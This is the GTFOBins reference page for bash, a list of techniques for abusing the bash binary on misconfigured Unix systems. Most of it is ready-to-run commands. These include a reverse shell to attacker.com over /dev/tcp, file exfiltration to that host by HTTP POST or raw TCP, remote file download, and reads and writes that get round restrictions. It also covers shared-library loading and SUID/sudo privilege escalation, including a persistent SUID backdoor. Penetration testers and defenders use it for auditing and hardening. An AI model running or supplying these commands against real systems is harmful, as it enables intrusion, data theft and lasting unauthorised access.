Restricted Shell Escape With GTFOBins
GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
bash
Reverse shell
It can send back a reverse shell to a listening attacker to open a remote network access.
Run
nc -l -p 12345
on the attacker box to receive the shell.export RHOST=attacker.com export RPORT=12345 bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
File upload
It can exfiltrate files on the network.
Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_send bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
Send local file using a TCP connection. Run
nc -l -p 12345 > "file_to_save"
on the attacker box to collect the file.export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_send bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
File download
It can download remote files.
Fetch a remote file via HTTP GET request.
export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_get bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \ 3<>/dev/tcp/$RHOST/$RPORT \ | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
Fetch remote file using a TCP connection. Run
nc -l -p 12345 < "file_to_send"
on the attacker box to send the file.export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_get bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
File write
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
export LFILE=file_to_write bash -c 'echo DATA > $LFILE'
This adds timestamps to the output file.
LFILE=file_to_write HISTIGNORE='history *' history -c DATA history -w $LFILE
File read
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
It trims trailing newlines and it’s not binary-safe.
export LFILE=file_to_read bash -c 'echo "$(<$LFILE)"'
The read file content is surrounded by the current history content.
LFILE=file_to_read HISTTIMEFORMAT=$'\r\e[K' history -r $LFILE history
Library load
It loads shared libraries that may be used to run code in the binary execution context.
bash -c 'enable -f ./lib.so x'
SUID
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems like Debian (<= Stretch) that allow the default sh
shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which bash) . ./bash -p
Sudo
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo bash